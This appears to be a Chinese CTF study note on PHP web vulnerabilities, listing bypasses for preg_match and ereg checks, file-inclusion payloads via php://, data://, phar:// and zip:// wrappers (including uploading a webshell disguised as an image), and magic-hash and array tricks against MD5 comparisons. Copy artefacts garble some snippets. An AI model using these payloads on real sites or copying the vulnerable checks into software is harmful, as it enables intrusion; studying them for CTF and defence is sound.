正则表达式
preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题1
2
3
4
5
6$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
// echo('key...')
}
ereg %00 截断
ereg 读到 %00 的时候,就截止了1
2
3
4
5<?php
if (ereg ("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
echo 'You password must be alphabet';
}
?>
a=abcd%001234,可以绕过ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
字符串对比解析
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123 || asd || 12as || 123%00&&&**,则返回值为true
其余为false
字符串比较
1 | <?php |
文件包含
1 | http://127.0.0.1/index.php?page=upload |
伪协议
php://filter
读取文件1
2index.php?file=php://filter/convert.base64-encode/resource=flag.php
index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
php://input
写入文件, 数据利用 POST 传过去1
index.php?file=php://input
data://
将 include 的文件流重定向到用户控制的输入流test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==
可以用于控制 file_get_contents 的内容为用户输入的流1
2
3$file=$_GET['file'];
$data = @file_get_contents($a,'r');
echo $data;
phar://
发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。
写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含
这里的路径为上传的 jpg 文件在服务器的路径/index.php?id=phar://路径/xxx.jpg/shell
zip://
上述 phar:// 的方法也可以使用 zip://
然后吧1.php文件压缩成zip,再把zip的后缀改为png,上传上去,并且可以获得上传上去的png的地址。
1.zip文件内仅有1.php这个文件1
2
3/php?file=zip://1.png%231.php
// 也可以尝试不改名为png,直接使用zip上传测试一下
/php?file=zip://1.zip%231.php
MD5 compare漏洞
PHP在处理哈希字符串时,如果利用”!=”或”==”来对哈希值进行比较,它把每一个以”0x”开头的哈希值都解释为科学计数法0的多少次方(为0),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么php将会认为他们相同。
常见的payload有1
2
3
4
5
6
7
8
9
10
11
120x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
0x02 sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
同时MD5不能处理数组,若有以下判断则可用数组绕过1
2
3
4
5if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2